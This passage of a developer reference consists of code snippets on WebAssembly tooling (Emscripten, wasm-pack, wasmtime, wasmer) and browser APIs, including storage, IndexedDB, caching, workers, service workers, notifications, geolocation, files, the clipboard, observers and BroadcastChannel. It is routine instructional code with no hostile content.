│  Heap (grows upward)                   │ ← Managed by allocator
│  ↑                                     │
│  Globals & Static Data                 │
│  Code (if using dynamic linking)       │
└────────────────────────────────────────┘

[dependencies]

use std::env;
use std::fs::File;
use std::io::Write;

fn main() {
    let args: Vec<String> = env::args().collect();
    println!("Arguments: {:?}", args);

    let mut file = File::create("output.txt").unwrap();
    file.write_all(b"Hello from WASI!").unwrap();
}
rustc --target wasm32-wasi src/main.rs -o app.wasm

wasmtime app.wasm arg1 arg2

#![allow(unused)]
fn main() {
// File I/O
use std::fs;
let contents = fs::read_to_string("file.txt")?;

// Environment variables
use std::env;
let path = env::var("PATH")?;

// Command-line arguments
let args: Vec<String> = env::args().collect();

// Random numbers
use std::time::SystemTime;
let now = SystemTime::now();
}
// JavaScript version
function fibJS(n) {
  if (n <= 1) return n;
  return fibJS(n - 1) + fibJS(n - 2);
}

// Benchmark
console.time('JS');
console.log(fibJS(40));
console.timeEnd('JS');
// JS: ~1200ms

console.time('Wasm');
console.log(wasmModule.fibonacci(40));
console.timeEnd('Wasm');
// Wasm: ~300ms (4x faster!)

#include <wasm_simd128.h>

void add_arrays_simd(float* a, float* b, float* result, int len) {
    for (int i = 0; i < len; i += 4) {
        v128_t va = wasm_v128_load(&a[i]);
        v128_t vb = wasm_v128_load(&b[i]);
        v128_t vr = wasm_f32x4_add(va, vb);
        wasm_v128_store(&result[i], vr);
    }
}

// Create shared memory
const memory = new WebAssembly.Memory({
  initial: 1,
  maximum: 10,
  shared: true  // Enable sharing
});

// Use with Web Workers
const worker = new Worker('worker.js');
worker.postMessage({ memory });

emcc -O3 -s WASM=1 -s ALLOW_MEMORY_GROWTH=1 \
     -s SIMD=1 -s ASSERTIONS=0 \
     source.c -o output.js

wasm-pack build --release -- \
  -Z build-std=std,panic_abort \
  -Z build-std-features=panic_immediate_abort

# Install
emsdk install latest
emsdk activate latest

# Compile
emcc source.c -o output.html

# Optimize
emcc -O3 source.c -o output.js

# Build for web
wasm-pack build --target web

# Build for Node.js
wasm-pack build --target nodejs

# Build with profiling
wasm-pack build --profiling

# Convert WAT to Wasm
wat2wasm module.wat -o module.wasm

# Convert Wasm to WAT
wasm2wat module.wasm -o module.wat

# Validate Wasm
wasm-validate module.wasm

# Decompile to C-like syntax
wasm-decompile module.wasm

# Run WASI module
wasmtime run program.wasm

# Run with arguments
wasmtime run program.wasm -- arg1 arg2

# Map directories
wasmtime run --dir=/host/path program.wasm

# Run module
wasmer run module.wasm

# Create executable
wasmer create-exe module.wasm -o app

# Use packages
wasmer run cowsay hello

const response = fetch('module.wasm');
const bytes = response.arrayBuffer();
const module = WebAssembly.instantiate(bytes);

const { instance } = await WebAssembly.instantiateStreaming(
  fetch('module.wasm'),
  importObject
);

#![allow(unused)]
fn main() {
#[wasm_bindgen]
pub fn process_data(data: &[u8]) -> *const u8 {
    let result = data.to_vec();
    result.as_ptr() // Memory leak!
}
}
#![allow(unused)]
fn main() {
use wasm_bindgen::prelude::*;

#[wasm_bindgen]
pub fn process_data(data: &[u8]) -> Vec<u8> {
    data.to_vec() // wasm-bindgen handles cleanup
}
}
#![allow(unused)]
fn main() {
#[wasm_bindgen]
pub fn divide(a: i32, b: i32) -> i32 {
    a / b // Panics on division by zero!
}
}
#![allow(unused)]
fn main() {
#[wasm_bindgen]
pub fn divide(a: i32, b: i32) -> Result<i32, JsValue> {
    if b == 0 {
        Err(JsValue::from_str("Division by zero"))
    } else {
        Ok(a / b)
    }
}
}
# Rust: Use minimal features
cargo build --target wasm32-unknown-unknown --release

# Optimize with wasm-opt
wasm-opt -Oz -o output.wasm input.wasm

# Strip debug info
wasm-strip output.wasm

#![allow(unused)]
fn main() {
use wasm_bindgen::prelude::*;
use wasm_bindgen::Clamped;
use web_sys::ImageData;

#[wasm_bindgen]
pub fn grayscale(data: &mut [u8]) {
    for chunk in data.chunks_mut(4) {
        let gray = (chunk[0] as f32 * 0.299
                  + chunk[1] as f32 * 0.587
                  + chunk[2] as f32 * 0.114) as u8;
        chunk[0] = gray;
        chunk[1] = gray;
        chunk[2] = gray;
    }
}
}
import { grayscale } from './pkg';

const canvas = document.getElementById('canvas');
const ctx = canvas.getContext('2d');
const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);

grayscale(imageData.data);
ctx.putImageData(imageData, 0, 0);

#![allow(unused)]
fn main() {
use wasm_bindgen::prelude::*;
use std::cell::RefCell;
use std::rc::Rc;

#[wasm_bindgen]
pub struct Game {
    x: f64,
    y: f64,
    vx: f64,
    vy: f64,
}

#[wasm_bindgen]
impl Game {
    #[wasm_bindgen(constructor)]
    pub fn new() -> Game {
        Game { x: 0.0, y: 0.0, vx: 1.0, vy: 1.0 }
    }

    pub fn update(&mut self, dt: f64) {
        self.x += self.vx * dt;
        self.y += self.vy * dt;
    }

    pub fn get_position(&self) -> Vec<f64> {
        vec![self.x, self.y]
    }
}
}
#![allow(unused)]
fn main() {
use wasm_bindgen::prelude::*;

#[wasm_bindgen]
pub fn process_pipeline(data: &[f64]) -> Vec<f64> {
    data.iter()
        .map(|x| x * 2.0)       // Transform
        .filter(|x| *x > 10.0)  // Filter
        .take(100)              // Limit
        .collect()
}
}
# Emscripten
emcc -g source.c -o output.js

# Rust
wasm-pack build --dev

#![allow(unused)]
fn main() {
use wasm_bindgen::prelude::*;

#[wasm_bindgen]
extern "C" {
    #[wasm_bindgen(js_namespace = console)]
    fn log(s: &str);
}

#[wasm_bindgen]
pub fn debug_function() {
    log("Debug message from Wasm!");
}
}
# View module sections
wasm-objdump -h module.wasm

# Disassemble
wasm-objdump -d module.wasm

# View imports/exports
wasm-objdump -x module.wasm

performance.mark('wasm-start');
wasmModule.expensiveFunction();
performance.mark('wasm-end');

performance.measure('wasm-execution', 'wasm-start', 'wasm-end');
const measures = performance.getEntriesByType('measure');
console.log(measures[0].duration);

#![allow(unused)]
fn main() {
use wasm_bindgen::prelude::*;

#[wasm_bindgen]
pub fn process_string(input: String) -> Result<String, JsValue> {
    // Validate input
    if input.len() > 1000 {
        return Err(JsValue::from_str("Input too long"));
    }

    if !input.is_ascii() {
        return Err(JsValue::from_str("Non-ASCII characters"));
    }

    Ok(input.to_uppercase())
}
}
// Video encoding with FFmpeg.wasm
import { createFFmpeg } from '@ffmpeg/ffmpeg';

const ffmpeg = createFFmpeg({ log: true });
await ffmpeg.load();

ffmpeg.FS('writeFile', 'input.mp4', videoData);
await ffmpeg.run('-i', 'input.mp4', '-vcodec', 'libx264', 'output.mp4');
const output = ffmpeg.FS('readFile', 'output.mp4');

# Emscripten (C/C++)
emcc source.c -o output.html
emcc -O3 source.c -o output.js

# Rust
cargo build --target wasm32-unknown-unknown
wasm-pack build --target web

# AssemblyScript
asc assembly/index.ts -o build/optimized.wasm -O3

# WABT
wat2wasm module.wat -o module.wasm
wasm2wat module.wasm -o module.wat

# Runtime
wasmtime run module.wasm
wasmer run module.wasm

// LocalStorage (persists across sessions)
// Store data
localStorage.setItem('username', 'john_doe');
localStorage.setItem('theme', 'dark');

// Retrieve data
const username = localStorage.getItem('username');
console.log(username); // 'john_doe'

// Store objects (must serialize)
const user = { name: 'John', age: 30 };
localStorage.setItem('user', JSON.stringify(user));

// Retrieve objects (must parse)
const storedUser = JSON.parse(localStorage.getItem('user'));

// Remove item
localStorage.removeItem('username');

// Clear all
localStorage.clear();

// Get all keys
for (let i = 0; i < localStorage.length; i++) {
  const key = localStorage.key(i);
  console.log(key, localStorage.getItem(key));
}

// SessionStorage (cleared when tab closes)
sessionStorage.setItem('sessionId', '12345');
sessionStorage.getItem('sessionId');

// Storage event (listen for changes in other tabs)
window.addEventListener('storage', (e) => {
  console.log('Storage changed:');
  console.log('Key:', e.key);
  console.log('Old value:', e.oldValue);
  console.log('New value:', e.newValue);
  console.log('URL:', e.url);
});

// Limitations:
// - 5-10 MB limit (varies by browser)
// - Strings only (must serialize objects)
// - Synchronous (blocks main thread)
// - No expiration mechanism

// Open database
const request = indexedDB.open('MyDatabase', 1);

// Create object stores (like tables)
request.onupgradeneeded = (event) => {
  const db = event.target.result;

  // Create object store
  const objectStore = db.createObjectStore('users', {
    keyPath: 'id',
    autoIncrement: true
  });

  // Create indexes
  objectStore.createIndex('email', 'email', { unique: true });
  objectStore.createIndex('name', 'name', { unique: false });

  console.log('Database upgraded');
};

request.onsuccess = (event) => {
  const db = event.target.result;
  console.log('Database opened successfully');

  // Add data
  const transaction = db.transaction(['users'], 'readwrite');
  const objectStore = transaction.objectStore('users');

  const user = {
    name: 'John Doe',
    email: 'john@example.com',
    age: 30
  };

  const addRequest = objectStore.add(user);

  addRequest.onsuccess = () => {
    console.log('User added with ID:', addRequest.result);
  };

  // Get data by key
  const getRequest = objectStore.get(1);
  getRequest.onsuccess = () => {
    console.log('User:', getRequest.result);
  };

  // Get by index
  const index = objectStore.index('email');
  const emailRequest = index.get('john@example.com');
  emailRequest.onsuccess = () => {
    console.log('User by email:', emailRequest.result);
  };

  // Update data
  const updateRequest = objectStore.put({
    id: 1,
    name: 'John Smith',
    email: 'john@example.com',
    age: 31
  });

  // Delete data
  const deleteRequest = objectStore.delete(1);

  // Get all data
  const getAllRequest = objectStore.getAll();
  getAllRequest.onsuccess = () => {
    console.log('All users:', getAllRequest.result);
  };

  // Cursor (iterate over records)
  const cursorRequest = objectStore.openCursor();
  cursorRequest.onsuccess = (event) => {
    const cursor = event.target.result;
    if (cursor) {
      console.log('Record:', cursor.value);
      cursor.continue(); // Move to next record
    }
  };
};

request.onerror = (event) => {
  console.error('Database error:', event.target.error);
};

// Promised-based wrapper (easier to use)
class IndexedDBHelper {
  constructor(dbName, version) {
    this.dbName = dbName;
    this.version = version;
    this.db = null;
  }

  async open(upgrade) {
    return new Promise((resolve, reject) => {
      const request = indexedDB.open(this.dbName, this.version);

      request.onupgradeneeded = (event) => {
        if (upgrade) {
          upgrade(event.target.result);
        }
      };

      request.onsuccess = (event) => {
        this.db = event.target.result;
        resolve(this.db);
      };

      request.onerror = () => reject(request.error);
    });
  }

  async add(storeName, data) {
    return new Promise((resolve, reject) => {
      const transaction = this.db.transaction([storeName], 'readwrite');
      const store = transaction.objectStore(storeName);
      const request = store.add(data);

      request.onsuccess = () => resolve(request.result);
      request.onerror = () => reject(request.error);
    });
  }

  async get(storeName, key) {
    return new Promise((resolve, reject) => {
      const transaction = this.db.transaction([storeName], 'readonly');
      const store = transaction.objectStore(storeName);
      const request = store.get(key);

      request.onsuccess = () => resolve(request.result);
      request.onerror = () => reject(request.error);
    });
  }

  async getAll(storeName) {
    return new Promise((resolve, reject) => {
      const transaction = this.db.transaction([storeName], 'readonly');
      const store = transaction.objectStore(storeName);
      const request = store.getAll();

      request.onsuccess = () => resolve(request.result);
      request.onerror = () => reject(request.error);
    });
  }

  async update(storeName, data) {
    return new Promise((resolve, reject) => {
      const transaction = this.db.transaction([storeName], 'readwrite');
      const store = transaction.objectStore(storeName);
      const request = store.put(data);

      request.onsuccess = () => resolve(request.result);
      request.onerror = () => reject(request.error);
    });
  }

  async delete(storeName, key) {
    return new Promise((resolve, reject) => {
      const transaction = this.db.transaction([storeName], 'readwrite');
      const store = transaction.objectStore(storeName);
      const request = store.delete(key);

      request.onsuccess = () => resolve();
      request.onerror = () => reject(request.error);
    });
  }
}

// Usage
const db = new IndexedDBHelper('MyApp', 1);

await db.open((database) => {
  const store = database.createObjectStore('users', { keyPath: 'id', autoIncrement: true });
  store.createIndex('email', 'email', { unique: true });
});

await db.add('users', { name: 'John', email: 'john@example.com' });
const users = await db.getAll('users');
console.log(users);

// Open cache
const cache = await caches.open('my-cache-v1');

// Add to cache
await cache.add('/api/data');
await cache.addAll([
  '/styles.css',
  '/script.js',
  '/image.png'
]);

// Put custom response in cache
const response = new Response(JSON.stringify({ data: 'cached' }), {
  headers: { 'Content-Type': 'application/json' }
});
await cache.put('/api/custom', response);

// Get from cache
const cachedResponse = await cache.match('/api/data');
if (cachedResponse) {
  const data = await cachedResponse.json();
  console.log('Cached data:', data);
}

// Delete from cache
await cache.delete('/api/data');

// Get all keys
const keys = await cache.keys();
console.log('Cached URLs:', keys.map(req => req.url));

// Delete old caches
const cacheWhitelist = ['my-cache-v2'];
const cacheNames = await caches.keys();
await Promise.all(
  cacheNames.map(cacheName => {
    if (!cacheWhitelist.includes(cacheName)) {
      return caches.delete(cacheName);
    }
  })
);

// Cache-first strategy
async function fetchWithCache(url) {
  const cachedResponse = await caches.match(url);
  if (cachedResponse) {
    return cachedResponse;
  }

  const response = await fetch(url);
  const cache = await caches.open('my-cache-v1');
  cache.put(url, response.clone());
  return response;
}

// Network-first strategy
async function fetchNetworkFirst(url) {
  try {
    const response = await fetch(url);
    const cache = await caches.open('my-cache-v1');
    cache.put(url, response.clone());
    return response;
  } catch (error) {
    const cachedResponse = await caches.match(url);
    if (cachedResponse) {
      return cachedResponse;
    }
    throw error;
  }
}

// main.js - Main thread
const worker = new Worker('worker.js');

// Send message to worker
worker.postMessage({ type: 'calculate', data: [1, 2, 3, 4, 5] });

// Receive message from worker
worker.onmessage = (event) => {
  console.log('Result from worker:', event.data);
};

worker.onerror = (error) => {
  console.error('Worker error:', error.message);
};

// Terminate worker
worker.terminate();

// ============================================
// worker.js - Worker thread
self.onmessage = (event) => {
  const { type, data } = event.data;

  if (type === 'calculate') {
    // Perform heavy computation
    const result = data.reduce((sum, num) => sum + num, 0);

    // Send result back to main thread
    self.postMessage(result);
  }
};

// Worker can't access:
// - DOM
// - window object
// - document object
// - parent object

// Worker can access:
// - navigator
// - location (read-only)
// - XMLHttpRequest / fetch
// - setTimeout / setInterval
// - IndexedDB
// - Cache API

// ============================================
// Advanced: Transferable objects (zero-copy)
const buffer = new ArrayBuffer(1024 * 1024); // 1 MB
worker.postMessage({ buffer }, [buffer]); // Transfer ownership
// buffer is now unusable in main thread

// ============================================
// Inline worker (no separate file)
const code = `
  self.onmessage = (e) => {
    self.postMessage(e.data * 2);
  };
`;

const blob = new Blob([code], { type: 'application/javascript' });
const workerUrl = URL.createObjectURL(blob);
const inlineWorker = new Worker(workerUrl);

inlineWorker.postMessage(5);
inlineWorker.onmessage = (e) => {
  console.log('Result:', e.data); // 10
};

// ============================================
// Shared Worker (shared across tabs)
const sharedWorker = new SharedWorker('shared-worker.js');

sharedWorker.port.postMessage('hello');
sharedWorker.port.onmessage = (event) => {
  console.log('From shared worker:', event.data);
};

// shared-worker.js
const connections = [];

self.onconnect = (event) => {
  const port = event.ports[0];
  connections.push(port);

  port.onmessage = (e) => {
    // Broadcast to all connections
    connections.forEach(conn => {
      conn.postMessage(`Broadcast: ${e.data}`);
    });
  };
};

// Register service worker
if ('serviceWorker' in navigator) {
  navigator.serviceWorker.register('/service-worker.js')
    .then(registration => {
      console.log('Service Worker registered:', registration.scope);

      // Check for updates
      registration.addEventListener('updatefound', () => {
        const newWorker = registration.installing;
        console.log('New service worker installing');

        newWorker.addEventListener('statechange', () => {
          if (newWorker.state === 'installed') {
            if (navigator.serviceWorker.controller) {
              console.log('New version available, please refresh');
            } else {
              console.log('Content cached for offline use');
            }
          }
        });
      });
    })
    .catch(error => {
      console.error('Service Worker registration failed:', error);
    });

  // Listen for messages from service worker
  navigator.serviceWorker.addEventListener('message', (event) => {
    console.log('Message from SW:', event.data);
  });
}

// ============================================
// service-worker.js
const CACHE_NAME = 'my-app-v1';
const urlsToCache = [
  '/',
  '/styles.css',
  '/script.js',
  '/offline.html'
];

// Install event - cache resources
self.addEventListener('install', (event) => {
  console.log('Service Worker installing');

  event.waitUntil(
    caches.open(CACHE_NAME)
      .then(cache => {
        console.log('Caching resources');
        return cache.addAll(urlsToCache);
      })
      .then(() => self.skipWaiting()) // Activate immediately
  );
});

// Activate event - clean up old caches
self.addEventListener('activate', (event) => {
  console.log('Service Worker activating');

  event.waitUntil(
    caches.keys().then(cacheNames => {
      return Promise.all(
        cacheNames.map(cacheName => {
          if (cacheName !== CACHE_NAME) {
            console.log('Deleting old cache:', cacheName);
            return caches.delete(cacheName);
          }
        })
      );
    }).then(() => self.clients.claim()) // Take control immediately
  );
});

// Fetch event - serve from cache
self.addEventListener('fetch', (event) => {
  event.respondWith(
    caches.match(event.request)
      .then(response => {
        // Return cached version or fetch from network
        return response || fetch(event.request)
          .then(fetchResponse => {
            // Cache new resources
            return caches.open(CACHE_NAME)
              .then(cache => {
                cache.put(event.request, fetchResponse.clone());
                return fetchResponse;
              });
          })
          .catch(() => {
            // Return offline page if fetch fails
            return caches.match('/offline.html');
          });
      })
  );
});

// Push notification event
self.addEventListener('push', (event) => {
  const data = event.data ? event.data.json() : {};

  event.waitUntil(
    self.registration.showNotification(data.title, {
      body: data.body,
      icon: '/icon.png',
      badge: '/badge.png',
      data: data.url
    })
  );
});

// Notification click event
self.addEventListener('notificationclick', (event) => {
  event.notification.close();

  event.waitUntil(
    clients.openWindow(event.notification.data)
  );
});

// Sync event (background sync)
self.addEventListener('sync', (event) => {
  if (event.tag === 'sync-messages') {
    event.waitUntil(syncMessages());
  }
});

async function syncMessages() {
  // Sync pending messages
  const messages = await getUnsyncedMessages();
  await Promise.all(
    messages.map(msg => fetch('/api/messages', {
      method: 'POST',
      body: JSON.stringify(msg)
    }))
  );
}

// Message from client
self.addEventListener('message', (event) => {
  if (event.data.type === 'SKIP_WAITING') {
    self.skipWaiting();
  }
});

// Request permission
async function requestNotificationPermission() {
  const permission = await Notification.requestPermission();

  if (permission === 'granted') {
    console.log('Notification permission granted');
  } else if (permission === 'denied') {
    console.log('Notification permission denied');
  }
}

// Check current permission
console.log('Permission:', Notification.permission);
// 'default', 'granted', or 'denied'

// Show notification (simple)
if (Notification.permission === 'granted') {
  new Notification('Hello!', {
    body: 'This is a notification',
    icon: '/icon.png',
    badge: '/badge.png'
  });
}

// Show notification (advanced)
const notification = new Notification('New Message', {
  body: 'You have 3 new messages',
  icon: '/icon.png',
  badge: '/badge.png',
  image: '/banner.png',
  tag: 'message-notification', // Replaces notifications with same tag
  renotify: true, // Notify even if same tag exists
  requireInteraction: false, // Auto-dismiss
  silent: false,
  vibrate: [200, 100, 200], // Vibration pattern
  timestamp: Date.now(),
  actions: [
    { action: 'view', title: 'View', icon: '/view.png' },
    { action: 'dismiss', title: 'Dismiss', icon: '/dismiss.png' }
  ],
  data: { url: '/messages' } // Custom data
});

// Event handlers
notification.onclick = (event) => {
  console.log('Notification clicked');
  window.focus();
  notification.close();
};

notification.onclose = () => {
  console.log('Notification closed');
};

notification.onerror = (error) => {
  console.error('Notification error:', error);
};

notification.onshow = () => {
  console.log('Notification shown');
};

// Close notification
setTimeout(() => {
  notification.close();
}, 5000);

// Service Worker notifications (recommended)
if ('serviceWorker' in navigator) {
  navigator.serviceWorker.ready.then(registration => {
    registration.showNotification('Title', {
      body: 'Body text',
      icon: '/icon.png',
      actions: [
        { action: 'yes', title: 'Yes' },
        { action: 'no', title: 'No' }
      ]
    });
  });
}

// Check if available
if ('geolocation' in navigator) {
  console.log('Geolocation is available');
}

// Get current position (one-time)
navigator.geolocation.getCurrentPosition(
  // Success callback
  (position) => {
    console.log('Latitude:', position.coords.latitude);
    console.log('Longitude:', position.coords.longitude);
    console.log('Accuracy:', position.coords.accuracy, 'meters');
    console.log('Altitude:', position.coords.altitude);
    console.log('Altitude accuracy:', position.coords.altitudeAccuracy);
    console.log('Heading:', position.coords.heading); // Direction of travel
    console.log('Speed:', position.coords.speed); // meters/second
    console.log('Timestamp:', position.timestamp);
  },
  // Error callback
  (error) => {
    switch (error.code) {
      case error.PERMISSION_DENIED:
        console.error('User denied geolocation');
        break;
      case error.POSITION_UNAVAILABLE:
        console.error('Position unavailable');
        break;
      case error.TIMEOUT:
        console.error('Request timeout');
        break;
    }
  },
  // Options
  {
    enableHighAccuracy: true, // Use GPS (more battery)
    timeout: 5000, // 5 seconds
    maximumAge: 0 // Don't use cached position
  }
);

// Watch position (continuous updates)
const watchId = navigator.geolocation.watchPosition(
  (position) => {
    console.log('Position updated:', position.coords);
    updateMapMarker(position.coords.latitude, position.coords.longitude);
  },
  (error) => {
    console.error('Watch error:', error);
  },
  {
    enableHighAccuracy: true,
    timeout: 10000,
    maximumAge: 5000 // Use cached position if < 5 seconds old
  }
);

// Stop watching
navigator.geolocation.clearWatch(watchId);

// Promised-based wrapper
function getPosition(options = {}) {
  return new Promise((resolve, reject) => {
    navigator.geolocation.getCurrentPosition(resolve, reject, options);
  });
}

// Usage
try {
  const position = await getPosition({ enableHighAccuracy: true });
  console.log('Position:', position.coords);
} catch (error) {
  console.error('Error getting position:', error);
}

// File input
const input = document.getElementById('fileInput');

input.addEventListener('change', async (event) => {
  const files = event.target.files;

  for (const file of files) {
    console.log('Name:', file.name);
    console.log('Size:', file.size, 'bytes');
    console.log('Type:', file.type);
    console.log('Last modified:', new Date(file.lastModified));

    // Read as text
    const text = await file.text();
    console.log('Content:', text);

    // Read as ArrayBuffer
    const buffer = await file.arrayBuffer();
    console.log('Buffer:', new Uint8Array(buffer));

    // Read as Data URL (base64)
    const reader = new FileReader();
    reader.onload = (e) => {
      console.log('Data URL:', e.target.result);
      // Can use as img src
      document.getElementById('preview').src = e.target.result;
    };
    reader.readAsDataURL(file);

    // Read as text with FileReader
    reader.onload = (e) => {
      console.log('Text:', e.target.result);
    };
    reader.readAsText(file);

    // Read as ArrayBuffer with FileReader
    reader.onload = (e) => {
      const buffer = e.target.result;
      console.log('Buffer:', new Uint8Array(buffer));
    };
    reader.readAsArrayBuffer(file);

    // Progress event
    reader.onprogress = (e) => {
      if (e.lengthComputable) {
        const percent = (e.loaded / e.total) * 100;
        console.log('Progress:', percent.toFixed(2) + '%');
      }
    };
  }
});

// Drag and drop
const dropZone = document.getElementById('dropZone');

dropZone.addEventListener('dragover', (e) => {
  e.preventDefault();
  dropZone.classList.add('drag-over');
});

dropZone.addEventListener('dragleave', () => {
  dropZone.classList.remove('drag-over');
});

dropZone.addEventListener('drop', async (e) => {
  e.preventDefault();
  dropZone.classList.remove('drag-over');

  const files = e.dataTransfer.files;
  for (const file of files) {
    console.log('Dropped file:', file.name);
  }
});

// Create Blob
const blob = new Blob(['Hello, World!'], { type: 'text/plain' });
console.log('Blob size:', blob.size);
console.log('Blob type:', blob.type);

// Read Blob
const text = await blob.text();
console.log('Blob text:', text);

// Blob to URL
const url = URL.createObjectURL(blob);
console.log('Blob URL:', url);
// Don't forget to revoke
URL.revokeObjectURL(url);

// Download file
function downloadFile(content, filename, type) {
  const blob = new Blob([content], { type });
  const url = URL.createObjectURL(blob);

  const a = document.createElement('a');
  a.href = url;
  a.download = filename;
  a.click();

  URL.revokeObjectURL(url);
}

downloadFile('Hello, World!', 'hello.txt', 'text/plain');

// File from Blob
const file = new File([blob], 'example.txt', {
  type: 'text/plain',
  lastModified: Date.now()
});

// Write text to clipboard
async function copyText(text) {
  try {
    await navigator.clipboard.writeText(text);
    console.log('Text copied to clipboard');
  } catch (error) {
    console.error('Failed to copy:', error);
  }
}

copyText('Hello, clipboard!');

// Read text from clipboard
async function pasteText() {
  try {
    const text = await navigator.clipboard.readText();
    console.log('Pasted text:', text);
    return text;
  } catch (error) {
    console.error('Failed to read clipboard:', error);
  }
}

// Write images/rich content
async function copyImage(blob) {
  try {
    const item = new ClipboardItem({ 'image/png': blob });
    await navigator.clipboard.write([item]);
    console.log('Image copied');
  } catch (error) {
    console.error('Failed to copy image:', error);
  }
}

// Read images/rich content
async function pasteImage() {
  try {
    const items = await navigator.clipboard.read();

    for (const item of items) {
      for (const type of item.types) {
        const blob = await item.getType(type);

        if (type.startsWith('image/')) {
          const url = URL.createObjectURL(blob);
          const img = document.createElement('img');
          img.src = url;
          document.body.appendChild(img);
        }
      }
    }
  } catch (error) {
    console.error('Failed to paste:', error);
  }
}

// Copy button example
document.getElementById('copyBtn').addEventListener('click', async () => {
  const text = document.getElementById('text').textContent;
  await copyText(text);
  alert('Copied!');
});

// Legacy approach (fallback)
function copyTextLegacy(text) {
  const textarea = document.createElement('textarea');
  textarea.value = text;
  textarea.style.position = 'fixed';
  textarea.style.opacity = '0';
  document.body.appendChild(textarea);
  textarea.select();
  document.execCommand('copy');
  document.body.removeChild(textarea);
}

// Create observer
const observer = new IntersectionObserver(
  (entries, observer) => {
    entries.forEach(entry => {
      if (entry.isIntersecting) {
        console.log('Element is visible:', entry.target);

        // Lazy load image
        if (entry.target.tagName === 'IMG') {
          entry.target.src = entry.target.dataset.src;
          observer.unobserve(entry.target); // Stop observing
        }

        // Animation on scroll
        entry.target.classList.add('animate-in');
      } else {
        console.log('Element is hidden:', entry.target);
      }
    });
  },
  {
    root: null, // viewport
    rootMargin: '0px', // margin around root
    threshold: 0.5 // 50% visible
  }
);

// Observe elements
const images = document.querySelectorAll('img[data-src]');
images.forEach(img => observer.observe(img));

// Multiple thresholds
const detailedObserver = new IntersectionObserver(
  (entries) => {
    entries.forEach(entry => {
      console.log('Visibility:', entry.intersectionRatio);
      // 0 = not visible, 1 = fully visible
    });
  },
  {
    threshold: [0, 0.25, 0.5, 0.75, 1.0]
  }
);

// Infinite scroll example
const loadMore = document.getElementById('loadMore');

const infiniteObserver = new IntersectionObserver(
  (entries) => {
    if (entries[0].isIntersecting) {
      console.log('Load more items');
      loadMoreItems().then(items => {
        appendItems(items);
      });
    }
  },
  { threshold: 1.0 }
);

infiniteObserver.observe(loadMore);

// Unobserve element
observer.unobserve(element);

// Disconnect observer
observer.disconnect();

// Create observer
const mutationObserver = new MutationObserver((mutations) => {
  mutations.forEach(mutation => {
    console.log('Type:', mutation.type);

    if (mutation.type === 'childList') {
      console.log('Children changed');
      console.log('Added:', mutation.addedNodes);
      console.log('Removed:', mutation.removedNodes);
    }

    if (mutation.type === 'attributes') {
      console.log('Attribute changed:', mutation.attributeName);
      console.log('Old value:', mutation.oldValue);
    }

    if (mutation.type === 'characterData') {
      console.log('Text content changed');
      console.log('Old value:', mutation.oldValue);
    }
  });
});

// Observe element
const targetNode = document.getElementById('target');

mutationObserver.observe(targetNode, {
  childList: true, // Watch for child additions/removals
  attributes: true, // Watch for attribute changes
  characterData: true, // Watch for text content changes
  subtree: true, // Watch descendants too
  attributeOldValue: true, // Record old attribute value
  characterDataOldValue: true, // Record old text value
  attributeFilter: ['class', 'style'] // Only watch specific attributes
});

// Disconnect observer
mutationObserver.disconnect();

// Example: Watch for dynamically added elements
const bodyObserver = new MutationObserver((mutations) => {
  mutations.forEach(mutation => {
    mutation.addedNodes.forEach(node => {
      if (node.classList && node.classList.contains('dynamic-content')) {
        console.log('Dynamic content added:', node);
        initializeDynamicContent(node);
      }
    });
  });
});

bodyObserver.observe(document.body, {
  childList: true,
  subtree: true
});

// Create observer
const resizeObserver = new ResizeObserver((entries) => {
  entries.forEach(entry => {
    console.log('Element:', entry.target);
    console.log('Content box:', entry.contentBoxSize);
    console.log('Border box:', entry.borderBoxSize);
    console.log('Device pixel box:', entry.devicePixelContentBoxSize);

    const width = entry.contentRect.width;
    const height = entry.contentRect.height;
    console.log('Size:', width, 'x', height);

    // Responsive behavior
    if (width < 600) {
      entry.target.classList.add('mobile');
    } else {
      entry.target.classList.remove('mobile');
    }
  });
});

// Observe element
const element = document.getElementById('resizable');
resizeObserver.observe(element);

// Observe multiple elements
const elements = document.querySelectorAll('.resizable');
elements.forEach(el => resizeObserver.observe(el));

// Unobserve
resizeObserver.unobserve(element);

// Disconnect
resizeObserver.disconnect();

// Example: Canvas responsive rendering
const canvas = document.getElementById('canvas');

const canvasObserver = new ResizeObserver((entries) => {
  const entry = entries[0];
  const width = entry.contentRect.width;
  const height = entry.contentRect.height;

  // Update canvas size
  canvas.width = width * devicePixelRatio;
  canvas.height = height * devicePixelRatio;

  // Re-render
  renderCanvas();
});

canvasObserver.observe(canvas);

// Check current visibility
console.log('Hidden:', document.hidden);
console.log('Visibility state:', document.visibilityState);
// 'visible', 'hidden', 'prerender'

// Listen for visibility changes
document.addEventListener('visibilitychange', () => {
  if (document.hidden) {
    console.log('Page is hidden');

    // Pause video
    video.pause();

    // Stop animations
    stopAnimations();

    // Reduce network activity
    clearInterval(pollingInterval);
  } else {
    console.log('Page is visible');

    // Resume video
    video.play();

    // Resume animations
    startAnimations();

    // Resume polling
    startPolling();
  }
});

// Example: Pause game when tab is hidden
document.addEventListener('visibilitychange', () => {
  if (document.hidden) {
    game.pause();
  } else {
    game.resume();
  }
});

// Example: Analytics
let startTime = Date.now();

document.addEventListener('visibilitychange', () => {
  if (document.hidden) {
    const visibleTime = Date.now() - startTime;
    analytics.track('time-visible', visibleTime);
  } else {
    startTime = Date.now();
  }
});

// Create channel
const channel = new BroadcastChannel('my-channel');

// Send message
channel.postMessage('Hello from tab 1');
channel.postMessage({ type: 'update', data: { count: 5 } });

// Receive messages
channel.onmessage = (event) => {
  console.log('Received message:', event.data);

  if (event.data.type === 'update') {
    updateUI(event.data.data);
  }
};

channel.onerror = (error) => {
  console.error('Channel error:', error);
};

// Close channel
channel.close();

// Example: Sync state across tabs
const stateChannel = new BroadcastChannel('app-state');

// Tab 1: Update state
function updateState(newState) {
  state = newState;
  localStorage.setItem('state', JSON.stringify(state));
  stateChannel.postMessage({ type: 'state-update', state });
}

// All tabs: Listen for updates
stateChannel.onmessage = (event) => {
  if (event.data.type === 'state-update') {
    state = event.data.state;
    renderUI();
  }
};

// Example: Logout all tabs
const authChannel = new BroadcastChannel('auth');

// Tab with logout button
function logout() {
  clearAuthToken();
  authChannel.postMessage({ type: 'logout' });
  redirectToLogin();
}

// All tabs
authChannel.onmessage = (event) => {
  if (event.data.type === 'logout') {
    clearAuthToken();
    redirectToLogin();
  }
};

// Push new state
history.pushState(
  { page: 1 }, // State object
  'Title',     // Title (ignored by most browsers)
  '/page/1'    // URL
);

// Replace current state
